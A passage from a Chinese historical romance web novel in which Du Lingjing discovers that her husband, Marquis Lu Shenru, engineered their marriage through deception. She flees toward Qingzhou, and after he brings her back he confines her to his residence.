枕月楼里人声鼎沸,春闱在即,这些嘈杂时而近时而远地在杜泠静双耳中拉扯, 扯得她耳中生疼,连带着眼前也发恍起来, 她向楼外走去,刚走没两步,脚下一晃,险些摔到了一旁。 有人一把扶住了她, 她转头看去, 是六郎。 蒋枫川扶着她稳住了身形。 面前人眼中红丝也映到了他的眼里, 不知是不是酒气熏染,他喉嗓发哑如同被砂石粗粝地摩擦过。 “我怀疑三哥的死, 也与他有关。” 话音落地,压下整座枕月楼的嘈杂。杜泠静睁大了眼睛, “你说三郎?!” 阮恭一步上前,急道, “六爷,没有证据的话不可信口说来!” 蒋枫川低哼着笑了一声,他说当然。 走廊的灯火恍惚闪了一下, 明灭在他面上。 “你们眼下可以不信,但我会找到证据的。” 他嗓音低哑地令人发寒,阮恭护着杜泠静离开,他不禁摇头。 “三年了,六爷竟从不曾接受三爷之死。” 枕月楼外毫无月色,天气阴沉沉的,风扫在人袖口裙下,裹挟着闷湿的寒气。料峭春寒不散,仿佛又回到了冬日里。 枕月楼中,太监醒了一息,转了脑袋又趴在桌上继续睡了下去。 蒋枫川独自倚在栏杆上,看着大堂里升腾的歌舞,又喝了一壶酒。 一个人为什么会甘愿自戕?就只是为了不拖累他心爱的女子? 有歌姬从旁经过,见栏杆前立着个独自吃酒的俊美青年,说他像读书人,身上又带着不畏世俗的浪荡之气,若说他是个纨绔公子,他举手投足间又颇有些诗书雅意。 歌姬见他壶中杯中的酒都吃光了,上前为他续了一杯,目光落在他俊美的脸上,羞怯地颤了眼帘。 青年笑了起来,但不曾辜负歌姬的美意,仰头径直饮下,亮了空杯给她看。 歌姬越加羞怯不住看他的俊颜,可惜被人高声唤去,只能离开。 她转身离开,男人脸上瞬间阴沉下来。 一个人真就会甘愿自戕吗? 或者,他根本就不是自愿,而是……被人所迫?! 楼下大堂突然传来春闱考生共同举杯的祝言。 蒋枫川在楼上亦举了杯,但却没有朝那群人,只看着眼前不知何处。 “哥,马上就要春闱,六郎必尽全力一登金榜。到时候,你能不能告诉我,你到底……” 他嗓音更哑了,“到底为什么那样走了?!” 他双眼发酸地闭了起来。枕月楼里吵杂的举杯之声,混乱的歌舞乐声尽数离去,他眼前只浮现一张矮桌前,有人坐在他身侧,把着他的手,一笔一笔地习字。 他是从乡下来的,被遗弃的孩子,每日连饭都吃不上,更谈不上开蒙读书。族学里的孩子六七岁就开始跟着先生读书,可他到了十岁上,还连笔都不会拿。 他第一次提笔,忽的问了个问题,“这毛笔能不能蘸酱吃啊?” 彼时所有奴仆都笑得前仰后合,只有三哥不笑话他,就这么握着他的手,一笔一笔地将他带进了学堂当中,将他推到了一省的举人名单里。 但他如约等着他一道来京春闱时,却只听到他死在寒冬里的消息,距离次年的春闱,就剩三个月了…… 热泪从眼角啪嗒滑进了酒盅里。 惠叔从楼下匆促赶来。 蒋枫川瞧见他慌张的样子笑了一声,“惠叔怎么才来?她都走了。” 惠叔倒吸一气,“六爷您……” 青年越发哑声低笑,却也看向她方才离开的方向。 “她心绪不好,但我却要入考场了,还请惠叔多帮我看着她些,有什么事情,等我出了考场一并料理。” * 京城的天空灰压压的,沿街各处的高灯也掩不住料峭的春夜寒意。 杜泠静离开枕月楼,漫无目的地在街上缓行,一时被人潮裹挟着向前,一时又被马车阻隔停滞,直到身后阮恭忽的叫了路边一人。 “章先生?” 杜泠静这才看去,见一旁竟是外城书肆的父亲旧友章先生。 章先生是往内城采买来了,这会刚要趁着城门下落前出城去,竟就遇见了杜泠静。 只是他见到杜泠静,面色便有些尴尬,一副有话当讲又不当讲的样子。 “先生还有什么不能同我直言?”杜泠静直接道。 书肆的章先生听得轻叹一气。 杜泠静又问,“是不是……我拜托先生查的引我来京的八部宋本,都出自他之手?” 他,自是那位陆侯。 章先生托人调查的时间尚短,并不能确定都是出自陆侯之手。 “但就目前来看,静娘啊,这八本宋书确实都与永定侯有些关联。” 他道,“若是确切的消息,恐还得细细打听些日子才行。” 有关永定侯府的确切消息,哪里是这么好打听来的? 但杜泠静摇了头,“先生不必细查了。” 若是四本或许还能算巧合,但八本都与他有关,她也替他找不到任何借口了。 辞了章先生,天空越发阴沉地像是要落下一场雪来。 杜泠静走在路上,从脚底到肩头都暗暗发凉。 寻常人购置八部宋本都极为困难,他则一抬手,就用八部宋本,将她从青州引出来,一路引到京城。 她低着头走在京城春寒渗透的街道上。 他早早就借助圣意强行要了她,只是恰好遇上了邵伯举与拂党事发,为了要挟拂党,便同她叔父商议要娶她过门。 邵伯举娶她是为了遮掩罪行,他娶她又是为了什么呢? 但不管是为了什么,邵伯举也好,他也好,一个两个都根本不需要过问她的意思,无需知道她愿不愿意。 邵伯举借她叔父迫她,他陆侯更厉害,直接就用圣旨赐婚定下来。 那么她在他眼里算什么呢?男人之间利益交换之物? 她什么都不需要知道,就嫁过去,承床笫之欢,然后开枝散叶就可以了。 有上元节灯火留下的花灯,亦在灰压的天空中暗淡了三分。 杜泠静行在灯下,默然轻笑。 但他比邵伯举聪明多了。 他知道就算是圣旨落下,她也是不情愿的,就算只能来京入他的侯府,也不知多久才能跟他顺过来。 所以他甫一发现邵伯举通过万老夫人,跟他叔父合谋强行娶她,也有意在中秋请旨赐婚,便立刻意识到,这是最佳的为他遮掩的机会。 所以他一口气撒下八部宋本,将她从青州引到了京畿。 最初,她觉得奇怪,还不想进京门,但他只要略施小计,她就只能顺着他的意思走。 路边灯火下,自己姑娘一直低着头笑。 阮恭紧随在侧,亦不由地想到了他们刚到京城前后的事。 那会儿二夫人陪嫁的庄子里在准备婚仪用物,姑娘觉得不妥,让他进京来打听。他彼时几乎没费什么力气,就从一人口中打探到邵伯举与二老爷合谋的事。 彼时他也好,姑娘也罢,还是秋霖他们,都着意在邵氏意图不轨的事情上,哪里想过这一步一步,都是侯爷算好了,让他们走的。 阮恭长长暗叹。 姑娘从前一颗心里只有三爷,是因为与三爷自幼相识,一道长大,相互之间通透赤诚,两心相许。 三爷一走,姑娘半副神魂都跟着他去了,若非是三爷收集宋本的夙愿,他觉得姑娘恐是撑不过那个冬天。 之后一年又一年,姑娘都在勉楼中寂寂沉沉。 去岁,姑娘因着圣旨嫁给了侯爷,秋霖见姑娘不情愿到上了花轿也满眼是泪,每日愁到睡不着觉,“姑娘的日子怎么越过越坏了……” 可谁曾想,姑娘竟同侯爷渐渐融洽起来,后来到不只是融洽而已,秋霖前些日偷偷告诉他,道姑娘要断避子药了,“姑娘,想跟侯爷有孩子了!” 他当时惊喜到,拉过来菖蒲打了一顿…… 他跟了姑娘那么多年,姑娘什么脾性他最清楚不过了。 姑娘最不是见异思迁的人,应该反过来说,她的脾气性子最缓最慢、最不易改变。 她是书楼里那些历经百年还残存的古书,是绕在山脚下静声缓流的山泉,是扎根在一片土地上便不会移走的树, 她会用旧物,她会念旧人,她连他们这些仆从都一用就是十几年,对菖蒲那不老实的小子从不厉声训斥,连与二老爷分家的时候,都记着要把文伯那些老人要回来,带他们回青州养老。 姑娘是纯净的水,是心里若有了一个人,便把满腔的真意都送给他的人。 侯爷,怎么能设计了她,又一遍遍地骗她呢? 阮恭心里酸涩得难受,若是秋霖在此,一定要气哭了。 但姑娘就在街边,静默地低着头走着。 杜泠静把赐婚前后的事情,终于理清楚了。 他借邵伯举之事让她入了局,之后突然圣旨赐婚,虽然满京城都意外,但所有人包括她,都以为这是圣意如此。 更不要提,连他自己都如此说。 他骗她,说圣意难违。 杜泠静撩起一缕额角的碎发,轻轻挽在耳后,风里隐约有了冰雪之意。 不过尚有一桩事她理不清楚。 枕月楼那日,确实是她记忆中第一次见到他。 而他的声音,亦是陌生。 他一步一步设计娶她,她却根本不认识他…… 冷气从地面渗透上来,冷风也灌入她领口袖箭。 她身上越发地冷了。 街边灯火昏暗起来,只有里面的宫城和外面的城楼,如同两只巨兽,沉默而冷肃地于黑暗中,不知悄然看着此间,伫立了多久。 但咚咚的马蹄声突然响在了面前。 杜泠静抬头看去,一眼便看到了路前面打马而来的男人。 他在人潮中一眼看见她,便翻身下马,他衣袍翻飞,他快步而来。 可杜泠静在这一瞬的下意识,却是连退两步,向后避去。 “泉泉……” 杜泠静定住了脚步。 她从枕月楼里出来,才两刻钟吧。 她见着他步子越走越快,直到一步到了她身前,他没立刻说什么,只是低着仔细打量她的神色。 很显然他已经知道消息了。 而杜泠静开了口。 “为什么?” 她长眉蹙着静静向他看来,如同她身后阑珊灯光远远照在他脸上。 男人回答了她。 “我曾见过娘子,确实非在枕月楼。但一见倾心,无法自拔,是真的。” 那年,他重伤被杜阁老安置在勉楼暗隔里,阁老告诉他,他家中女儿常来勉楼,并不知勉楼里有暗隔,但她最爱这书楼里的书,不知何时就会过来,无需理会她。 他那会伤势都料理不清了,心想,又怎有工夫理会一个姑娘? 但他刚住进来的那晚,因着伤口的痛,他到子时都没能睡下,兀自倚在墙上养神。 可她突然提灯而来,踩了月光,将她如水的眉眼,一瞬照进了他的眼睛里…… 他说一见倾心是真的。 京城阑珊的灯火中,她问。 “何时?” 她忽的问了这个问题,陆慎如默了一瞬。 “三年前。” 三年前?三郎过世之后? 杜泠静看着他的眼睛,笑了一声。 他又骗她…… 原来陆慎如陆侯爷,是真的不可能跟她坦诚相待,不瞒不疑的。 她想太多了。 她低了头,错开他继续往前走去。 半空中隐隐有些晶亮的东西,扑簌簌落下来。 她不信,男人深皱着眉,闭了闭眼睛。 但他什么都没再说,就只跟在她身后,远远地,城门关闭的声音响起。整座京城在夜幕中闭锁起来。 灯火越加阑珊,从黑黢黢的夜空里扑簌簌飘来的湿意落满人肩头。 男人解下披风裹在杜泠静肩头。 她脚步停了停,说了一句。 “我想回青州。” 话音未落,他立时开口。 “不行。” 杜泠静沉默了,衣襟上沾满了白色的花片,一片叠着一片,都压在她身上。 男人却阻拦她继续向前的脚步。 陆慎如看着他的妻子,低声。 “雪下大了,我们回家吧。” …… 正院窗外的芭蕉,于这场雪中,冻死在了春日来临之前,厚厚的白雪盖在它的枯叶之上,将阔叶压垮在地。 房中炭盆撤下,烛火与炭火的声音消散,外面雪落的声音越加明晰。 有人在锦被中,默默握住了她的手。 杜泠静转过了身去。 可下一息,他忽然将她拨回过来,他阔大的掌心扣住她的腰身,坚实的臂膀,将她往他山川铁壁般的怀中揽来。 “泉泉……” 但杜泠静伸手,抗拒地抵在了他胸口。 第55章 “泉泉……” 他抱了她。 但杜泠静伸手, 抗拒地抵在了他胸口。 她双手攥紧了拳,就这么抵在他胸口之上。 她的气力对于陆慎如来说微不足道,但这点微不足道的力道, 从他胸口抵进来,犹如一双尖刀没入他的胸前。 男人心口阵阵发痛, 可越发揽紧了她, 把她往怀中拥来。 她自是越加抵抗,可是以她的力道根本抗拒不了他,但她似是尽了全力,不肯屈从。 再这样下去, 她会受伤。 陆慎如心头痛缩了一下,正欲松开她, 不想她却提前于他,先卸了力。 陆慎如一顿,以为她终于不再与他抵抗的时候,却见她闭起了眼睛来。 她不再用力抗拒, 任由他抱着, 却闭起了眼睛, 她神色冷淡,连看都不再看他一眼, 陆慎如口中的苦意如同黄连的汁水,于舌尖齿缝中蔓延。 “泉泉。”他唤她。 她只细密的睫毛轻微颤动。 外间雪落簌簌, 男人口中苦到难耐,他伸手, 用指腹轻轻蹭着她鬓边的细发,低头靠近她的脸边,轻吻在她脸颊。 但她冷淡极了, 转过了头去。 无声的抗拒,比她那微不足道的力道,更一寸一寸扎入人心头。 男人无奈,只能将她放回到了床榻里间。 只是他甫一将她放回去,她便沉默着转回了身,背对了他。 这场春夜的雪越下越大了,随风呼啸着,几乎要将房梁压弯。 男人心口闷到发晃,回头看了一眼,不肯会理他的妻子,不知这漫漫的黑夜要如何熬过。 …… 朝会刚结束,有人便近到窦阁老身侧。 窦阁老被年前那场风寒,折腾得瘦了一圈,长长的胡须夹杂了几根白丝,此刻听见身侧的人道。 “阁老可有留意,今日陆侯似是心绪不佳,方才皇上连问了三句,陆侯竟都没立时答话。” 低语间,窦阁老看见这位与他斗的不可开交的年轻永定侯,一副生人勿近的冷沉模样,大步往殿外走。 说话的人见他冷脸走来,立刻闭了嘴,没得无端招惹了他。 但窦阁老却不怕,反而留步等了他几息。 “侯爷这般年岁,正是为情所困的时候,倒也不必太揪心,能留便留,留不住便随他去便是。” 他说着,见陆侯脸色越加阴沉,窦阁老越发捋了胡须劝道。 “老朽年轻的时候,也会为情所困,男女倒也罢了,总有些难舍的情义牵牵绊绊,后来通通断了,反而痛快。” 窦阁老说着,笑吟吟地看去这位年轻君侯。 昨日在城中街道上,他与他刚娶半年的侯夫人,如何在风雪里行走,而他那侯夫人先前,又在枕月楼里见了什么人,他可都听说了。 这会见陆侯脸色难看至极,还道。 “人就是这样,有舍才有得。” 窦阁老这话一出,陆慎如反而哼着笑了。 他瞥了一眼这邵氏都静默、他却还没蔫下去的老头子。 “不劳阁老费心,陆某就是不舍,也照样得。阁老有空多操心操心雍王殿下才是,还再同邵氏一味走近,皇上可要不悦的。” 他说完,再不想跟糟老头子多说一个字,拂袖而去。 窦阁老自是不生气,但却想到了杜家,想到了澄清坊杜府,默然立在大殿前,往澄清坊的方向看了两眼…… 陆慎如出了宫门便问了崇平。 “夫人今日在家如何?” 崇平看了他一眼,低声回道。 “夫人今日在家,同往日倒也无甚区别。只是沉默了些,一早间在西厢房里修书,没怎么开口说话。” 男人心头发沉,脚步越发加快,待上了马,径直打马往回而去。 他回到家中,一路阔步进到了正院,往西厢房看过去,果见她还在西厢房修书。 今日朝会时间颇长,眼下日头悬在了当空,她却还在修书。 陆慎如一步跨进去,动静似是大了些,她抬头向他看来。 男人更上前去,看见她桌案边上,放了几本似是兵书的崭新书册,他未见过。 而他未及看清,便被她用一摞书压在了底下,又收回到了下面的箱子里。 她把书收好,又继续修书。 但方才她抬头的那一眼,他捕捉到了她双眼发红。 昨晚,她是转过去不肯理她,可她的呼吸却从未绵长起来,是到了后半夜,他才听到她堪堪入睡。 今日眼睛红成这样,如何还能一直坐在书案前修书。 他一步上前按在了她的手上。 “你眼睛不好,不能这样一直看书。” 可他说去,她只从他手下抽开,转身到了一旁书架前。 陆慎如心闷得发慌,跟上她的脚步,却见她又转去了另一边。 他一不做二不休,干脆将她径直抱到了窗下的榻上。 她不愿,他却将她抵在窗下,鼻尖抵到她的鼻尖上。 “别这样泉泉……别不理我,别不跟我说话。” 他低声求她,轻蹭了她的鼻尖,唇下亦蹭到了她的唇角上。 他试着轻轻吻了过来,杜泠静抬眸瞪了过去,又立时抬手要将他推开,但他不要,呼吸急促了两分,却只抵着她的唇,极其轻柔地啄着她的唇瓣。 他不再似平日般攻池掠地,就这么轻轻啄着她,一点的一点,还用指腹小心翼翼地摩挲她的脸庞。 他仿佛要将她啄到和软下来,他想跟她求和。 杜泠静心下发酸,却也莫名地在他这般轻柔求和中,心头一软。 她没再推开,没再抗拒,他立时就察觉到了,啄着她的唇瓣重了些许,又微弯了眼眸,手下将她往他怀中拢来。 但杜泠静却抬眼,缓缓看住了他的眼睛。 如果他能所有的隐瞒与谎话都跟她说清,她也可以既往不咎…… 窗棂外面有昨夜的雪积了厚厚一层,日光照着积雪慢慢融化。 她看着他。 她那如水的眼眸看过来,陆慎如一瞬就明白了她的意思。 但男人微顿,抿了唇。 房中静到落针可闻。 杜泠静也明白了他的意思。 她极轻地笑了笑。 云层遮住了太阳,外面的冰雪不在融化成春水,只在冷风中凝成了坚冰。 他可以抱她、吻她、哄着她,但她想让他据实以告的真相,他不可能告诉她。 …… 下晌落了一阵冷雨,上晌没能化开的雪,都被冷雨覆盖凝成了冰。 崇平见侯爷远岫阁的书房里,沉着面色闭着眼睛不说话。 他不说话,整个远岫阁都无人敢多言,崇平亲自端了茶水进到书房里来。 男人没看他,崇平却开了口。 “侯爷,从前那些旧事,其实属下可以替侯爷同夫人……” 可话音未落,男人沉声打断了他。 “不许提。” “可是夫人她……” 男人还是摇了头,书房里低压冷沉,似残雪凝成的冰都伫在了书房里。 陆慎如目光越过窗外,遥遥向不知何处看去。 “我与她,就只三年前我路过青州时见过,没有更早之事了。” 他叫了崇平。 “你亦不许多言。” 侯爷不说,亦不许他说。 崇平默然叹息,又只能应了下来。 “是。” …… 晚间回到房中,陆慎如见他的娘子已经睡下了,但听呼吸,她显然没睡着。 “怎么不让人烧地龙?天还冷着。” 他问去,帐中无人理会他。 男人轻叹一气,褪了衣裳进到了帐中。 他进到帐中,便伸手抱了她,杜泠静动了动身子,但他不肯松手。 滚烫的掌心,铁铸般的臂膀紧拥着她。 他令她无法反抗,只道。 “睡吧。” …… 之后一连几日,他就这般日日抱着她入睡,多余的话则一句都不多说。 如同他请下圣旨强娶她,不需要她知道一样,此刻她想要的答案,她也无需从他口中得知。 杜泠静淡淡笑着。 静默地看书、修书,整理成集册,让赵掌柜拿去付梓流布。 她看起来一切如常,反倒是陆慎如越发频频回家,只有看着她在房中院中,才觉心下安实些许。 然而开平卫竟出了一桩兵变,有鞑子渗透军中祸乱军心,他闻讯立时就让崇平赶了过去。 事情闹得不算太大,损伤了几位将领,倒也很快被镇压。但皇上却极为不安,朝会上点了他,让他专门过去一趟。 “鞑子近来越发猖獗,前些日在宁夏又伤了忠庆伯世子,此番你亲自走一趟的好。” 荣昌伯因两个孽子的事情,被他调回西安坐镇,又另外调了忠庆伯世子魏琮往宁夏,不想鞑子突发袭击,魏琮还没来得及熟络宁夏军中,就遭遇此战,幸亏他反应极快,将鞑子击退关外,却也因此受了伤。 他伤势不算轻,他除了是忠庆伯世子,还是裕王的女婿,年嘉郡主的夫婿,皇上多有看顾,下旨令他回京养伤。 魏琮还没回到京城,不想开平卫又出了事。 皇上不安,令陆慎如亲自前往。 男人晚上回家,见他的娘子又已经睡下了。 他摩挲了她的肩膀,想跟她说两句话,但她只当已经完全睡着,不肯理他。 男人叹气,但到了半夜的时候,她突然醒了过来。 她刚醒来还有些迷糊,他立时起身给她披了衣裳。 “口渴了?喝点茶水么?” 她愣了一下,回了神要自己起身下去,他则握了她肩头。 “别下床了,我去给你倒碗温茶来。” 夜风撞得门扉吱呀作响,他说话间就给她倒了温茶过来。 她喝了茶水,他将杯子收了过来。 他没有立刻灭掉小灯,他琢磨着道了一句。 “过两日我回京,沿路带几盆花回府可好?” 她看过来,陆慎如轻叹一气,看着妻子。 “在家等我吧。” 他说完才转身去灭了灯,没留意杜泠静在他身后,多看了他好几眼,才抿唇收回了目光。 翌日天没亮,侯爷踏着残雪,骋马出了京城。 他不知吩咐了什么,杜泠静察觉崇安一直在偷偷打量她。 她则如常地看了一阵书,待时候不早了,突然吩咐了秋霖。 “有些日子没出门了,你让人套车,出去转转吧。” 崇安又在偷偷打量她,她只当没看见,又道。 “去把安侍卫请过来,同他说一声。” …… 事发得比想象中还要快。 陆慎如刚奔马到开平卫,京城侯府里,崇安急急派人来禀。 “侯爷,夫人走了!不知去向何处!” 消息如同雷暴闪电,骤然击在陆慎如心头,哪怕已有料想,切切实实听到,心头都在发麻。 她还真走,成婚以来的日子,她跟他之间的亲密,全然不作数了,她还真就要走。 开平卫的将领问询驾马带人来迎。 “侯爷怎么亲自来了?兵乱已经平了,只还剩下杂事,哪需侯爷亲自前来……” 只是话没说完,却见侯爷忽的吩咐了起来。 侯爷一通吩咐了他十几句,将领们哪里听过侯爷说这么多话,这会还没回过神来,却见侯爷倏然打马折返了回去。 “侯爷?!”将领们面面相觑。 …… 崇安则终于将侯爷盼了回来,他哥跟在侯爷身后,也已晓得他没拦住夫人,此刻看他的眼神,简直要把他刮了。 但侯爷却不及管这许多,让人把情形报了上来,三下两下就发现了问题。 “去查窦家的马车,但凡自夫人离府后出京的,统统查来!” 男人凛声下令,无人敢违。 不出一个时辰,就有了线索! 杜泠静则在半夜醒了过来。 这处落脚之地很是偏僻,但莫名地,她好似听到了落脚小院外,疾驰的马蹄声。 屏气凝神细细去听,是没有的,但只要闭起眼睛,便觉得那熟悉的马蹄声,咚咚踩在她心头。 心头被莫名的马蹄声踩踏得发闷发痛,她不再睡了,叫了秋霖阮恭他们,收拾行李继续上路。 但离开这座小院之前,她从袖中取出了一物。 精巧的楼宇模样的钥匙上,还带着她身上的气息与温度,她用帕子擦了擦,擦掉她的气息和温热,放在了屋内正中的桌案上。 外面夜风袭人,从大开的门洞中吹进来。 这京城,本也不是她想来的,若他看到此物,可否明白她的意思。 就让她回她的青州吧。 有眼泪从眼角啪嗒滑落,杜泠静抬手拂去,最后看了一眼那把钥匙,转身没入了夜风之中…… 陆慎如赶来的时候,房中的灯熄了。 钥匙上隐约还有她身上残留的温度,但被外间的风一吹,又消散在他指尖。 男人闭起了眼睛。 “爷,还追吗?” 夫人是真的要走。 但男人闷哑的嗓音只吐了一个字。 “追!” …… 但她十分敏锐,不仅会提前撤离,还会临时改换路线。 陆慎如一连寻了三四处,都只有她布下的疑阵,而未见她的身影半分。 男人心口闷到被巨石死死压住,但又像是被彻底掏空了一样不安。 他不觉得她能彻底藏没了影子,可连找了几处都没有。 有一瞬,连他都慌了一慌。 胸口闷得更加难耐,早知道,他想法子不离京,或者干脆带她一道离去,就把她时刻放在他眼皮底下…… 各处回禀的消息,都还是一片空无。 男人唇下紧压,冷鞭打马往前而去。 然而就在前路被小镇的集会所阻的时候,他倏然在人群里看到了一个人影。 陆慎如眸色骤然大亮,他翻身下马,大步上前而去。 直到走到她身后,她忽然被人群撞到,他一把扶在了她肩上。 “多谢。” 但下一息她转过头来,她看到他,睁大了惊诧的双眼。 …… “敢问陆侯,到底所思何为?” “我所思,惟夫人尔。” …… 回京马车中。 男人不再骑马,与他的娘子一起坐在车中,握紧了她的手。 杜泠静向他看去,他回看过来,眸色浓重得化不开。 他手下的力道重得她隐隐有些吃痛,她要抽开,他不许。 之前她觉得自己读不出他的心思,如今却只觉完全看不懂他了。 “侯爷,就非要困我于京?” 男人温声,却开口道,“对。” 杜泠静扭头向车窗外看去。 奔往京城的风吹在一片竹林之间。 熟悉的竹叶的清香吹进车窗,她不由地多看了两眼。 但身侧的人忽然道,“换路,离开此地。” 杜泠静未及反应,马车已匆促改换道路,远远地从竹林离去。 她愕然,陆慎如从眼角看去,沉默不言。 她待他,自来连对待她前未婚夫婿蒋竹修、蒋三郎,五分之一的温柔都没有,如今更是半分也无。 此番更是下定了决定要离开他。 可她同他,才是结发相守的夫妻。 …… 他有皇命在身,无法在侯府过夜,将她送回侯府就离了去,只是离开之前,多看了她几眼。 杜泠静累了。 看着刚离开没多久,却又被带回来的侯府正院,她坐在芭蕉窗内的梳妆台前,恍惚了半晌。 秋霖怕她出什么状况,寸步不离地守着她。 她说她没事,这是侯府,也是她生活里数月的地方,又不是地牢。 他当晚自是不能回来。 但杜泠静坐在窗下想了一整夜,她不晓得他到底想要什么。 但他不让她回青州,她总可以回到澄清坊里。 如果父亲在,一定会接她回家。 她与他也该各自冷静一些。 这一夜,她将心情整理了又整理,次日天没亮,她就让秋霖他们收拾了东西,准备回澄清坊住。 可是她刚到侯府门前,大门忽得被侍卫紧紧关了起来。 崇安快步上前,杜泠静问他,“这是何意?” 崇安低头行礼,“回夫人,您不能离开。” 杜泠静默了默,“我不是出京,我只是要回澄清坊住。” 不想她解释了过去,却见崇安仍是摇了头。 “侯爷有令,自今日起夫人您的陪房出府,皆需要侯府侍卫陪同。而您……” 崇安看过来,杜泠静心头莫名一跳。 府门前冷风大作,她听见崇安道。 “而夫人您,无有侯爷的意思,半步不得离开侯府。” 门前的冷风将那人的命令,反反复复地抽打进她耳中。 杜泠静彻底愣住。 他人不在京中。 但偌大的侯府却在这一瞬,变成了一座巨大的囚牢,高耸冷深,人行不通。 他将她囚在了这座,名为永定侯府的囚牢里。 无有他的命令,她半步都不能踏出去。 第56章 “……无有侯爷的意思, 夫人半步不得离开侯府。” 天还没亮,残余的夜幕仍旧漆黑地笼罩在上空,与阔大的永定侯府的围墙, 无有缝隙地衔接在一起。 夜幕向下笼罩,院墙向上延伸。 杜泠静抬头, 好似看到了一座巨大的黑色囚牢, 将她囚禁在其中。 她缓缓转身环视这座高深不见边际的侯府,秋霖慌乱上前,“姑娘……” 这可怎么办? 杜泠静跟她慢慢摇了摇头。 或许早在她领来他求得的旨,穿上他给她做的嫁衣, 一步跨入这座府邸的时候,就注定她已经不可能再出去了。 他可以不在府邸, 不在京中,甚至远在千里之外,但只要他不放她,她不可能踏出去。 男人莫名地离她很远, 远到连他的面庞都模糊起来, 迷雾四散, 只有他那双如墨般漆黑若渊的眼睛,于皱起的英眉下, 缓缓向她看来。 但他之前不是这样的。 他们虽然只成婚不到半年,可也曾有过月下赴宴、黄昏跑马、湖上泛舟的时刻, 他与她一道祭拜三郎,他上前拜过落下三柱清香, 他也与她谈起他向往着去江南小住,或许这是所有北地人的心愿,她则劝他江南尽在诗文中, 他早已见过…… 然而如今,他把她囚困了起来。她无法抗拒,她只能凭他掌控她的一切。 杜泠静恍惚着,脚下都有些发晃了。 到底哪个才是他? 如今这个陆侯,才是他永定侯陆慎如吗? “姑娘?!”秋霖又来唤她。 如果老爷在世,如果姑娘可以爹娘兄弟俱在,如果杜家不曾衰败,侯爷可还敢这样欺负人? 怎么会有人,把自己的妻子关起来? 秋霖气哭了,却见姑娘只转了身,沉默着向回走去。 …… 侯爷奉皇命去开平卫料理兵变之事,没回来。 但隔日却让人送了花。 杜泠静怔然坐在窗下,窗外的芭蕉在春雪里冻死了。侯府的花匠将它除了去,眼下近到窗外回禀。 “夫人,侯爷让人送了一车花过来,您看喜欢哪些?都要摆在何处?” 杜泠静闻言,恍惚想起他前几日离开家的时候,夜里同她说。 “过两日我回京,沿路带几盆花回府可好?” 花匠挑了几盆名贵的,开得正好的,让丫鬟捧进房中来给她看。 这么名贵的花,去岁他叔父一口气买了二十八盆,是为了操办二妹的“婚事”,但于他陆侯来说,让人直接送来一车花,只是一句话的事而已。 而天气还没回暖,这些花就已经争奇斗艳,仿若春日来临。 只要他想要,连花都能提前盛开。 杜泠静没有点任何一盆,她为对他让人送来的花,做任何评价。 花匠不知她是何意,“那小人就自己瞧着,把侯爷给您送来的花,帮您摆满正院,可好?” 但窗下,杜泠静低声开口。 “我不要他的花。” 她道,“一盆都不要,全都搬出去。” 话音从窗内传到院中,庭院里瞬时安静无声,连枝头的鸟儿都不再鸣叫。 可花匠却未离去,反而为难地道了一句。 侯爷早就料到夫人可能不要了,但侯爷留了话。 “……这些花是侯爷应了您的,必得摆在您院里。” 秋霖和艾叶皆在旁吸了气—— 侯爷要给夫人的,夫人不要也得要。 杜泠静顿了一下,忽的又低笑了一声。 她推开窗,料峭的春风裹挟着满院的花粉之气,向她扑了过来,扑到她脸上、脖颈,甚至钻入她的领口,仿佛握在了她的肩头。 他可真是权势滔天的贵胄权臣,在他的势力之内他予取予求。 整座永定侯府都是他的,连同她也一样。 他想要怎样,就要怎样。 秋霖和艾叶都不敢说话,却见夫人坐在窗下,一言不发。 * 北面边关,开平卫。 陆侯还没把事情全部料理完,其实兵祸已经镇压,重新调换了将领,也抓了些鞑子的细作,没什么大事了。 他还没回京,不过京中家里的消息,却遵照他的命令,源源不断地传来。 这会下面的人把花的事情报了。 “夫人不想摆那些花,但依照侯爷留的话,在院中房中,还有夫人爱坐着看书的窗下,全都摆上了。” 回话的人说完,抬眼见侯爷低声问了句。 “她怎么说?” 下面的人摇头,“夫人一言不发。” 话音落地,下面的人见侯爷闭了双眸。 他一时没开口,半晌才道了一句。 “知道了。” 回禀消息的人走了,崇平暗叹着给他续了茶,也退了下去。 朝中和军中送来的信函,他一封都看不下去,支了额头,却眼前却浮现出她从侯府决然离去的情形。 她借窦家马车的名义离去,头都不回。 她料到他能找到她落脚地,不仅提前走了,更是把归林楼的钥匙留了下来。 钥匙,是他给她大婚的聘礼。 她不要了。 男人闭起了眼睛,想到那日的事,胸口发闷到难耐。 彼时他握住了她的手腕。 “风太大了,你身子受不住,别往那边去了。” 她不回身,“我并不觉得这条路风大,只要不与侯爷同行,这点风不算什么。” 说到此处,才看了他一眼,“若侯爷肯让我独自离去,感激不尽。” 感激不尽…… “那还回来吗?” “既走了,自是不会回。” “但若是,你已有我们的孩子了呢?” 他看住她的眼睛。 她只给了他四个字,“无甚可能。” 开平卫下榻的房中,陆慎如闭眸沉默。 她那么笃定,是因为避子药,是不是? 她果然就没真的想过,跟他有孩子…… 北地的风沙吹得窗棂咣当作响。 男人笑了起来。 说信他,再不疑他,但转头就去听那蒋枫川的言语。 若此番瞒了她的是蒋竹修,她也能狠下心来舍了蒋竹修,再不相见? 房中寂静无言。 开平卫的将领这几日都没闹明白侯爷的意思。 兵乱的事都差不多料理清楚了,侯爷不安排后面要如何,也不离去。 他们这些将领,只看着每日从京城来送信的人有多少,就知道侯爷有多忙。 但侯爷怎么不走? 侯爷不走,他们也不敢撵。 …… 翌日,崇平远远看着,府里崇安派来报信的人出现,便叹气。 今日又不知是什么信。 崇安派来的人禀了上来。 “侯爷,年嘉郡主随忠庆伯世子爷回到京中了。郡主给侯爷和夫人送了喜礼,也给夫人下了帖子,送来了侯府。” 年嘉郡主。 陆慎如当然知道她同年嘉郡主的事。 她少时跟随父亲在京时,先帝的孝容皇后喜爱她,时常召她进宫。而裕王早逝,唯独留了年嘉郡主这遗腹女,先帝便把这可怜的孙女养在宫里。 她二人年岁相仿,性子相投,早在宫里便相识。 这会崇平道了句,“夫人与郡主相识多年,郡主这才刚回京,就立时给夫人下了帖子。” 陆慎如微顿,他晓得崇平的言下之意。 没有他的命令,她出不了门。 男人默了默,嗓音不禁低缓了下来。 “她想去吗?” 他可以让她去。 但下面的人回话。 “夫人什么都没说,没回应郡主的帖子。” 没回应…… 这三个字仿佛火苗上的热油,细细丝丝地煎在人心头。 辗转不是,反侧不是。 男人抿唇而默,下一息忽的起身。 他让崇平将开平卫的将领都叫过来,三言两语把后面的安排都说了,翻身上马就走。 一瞬间,人影没入了风沙里。 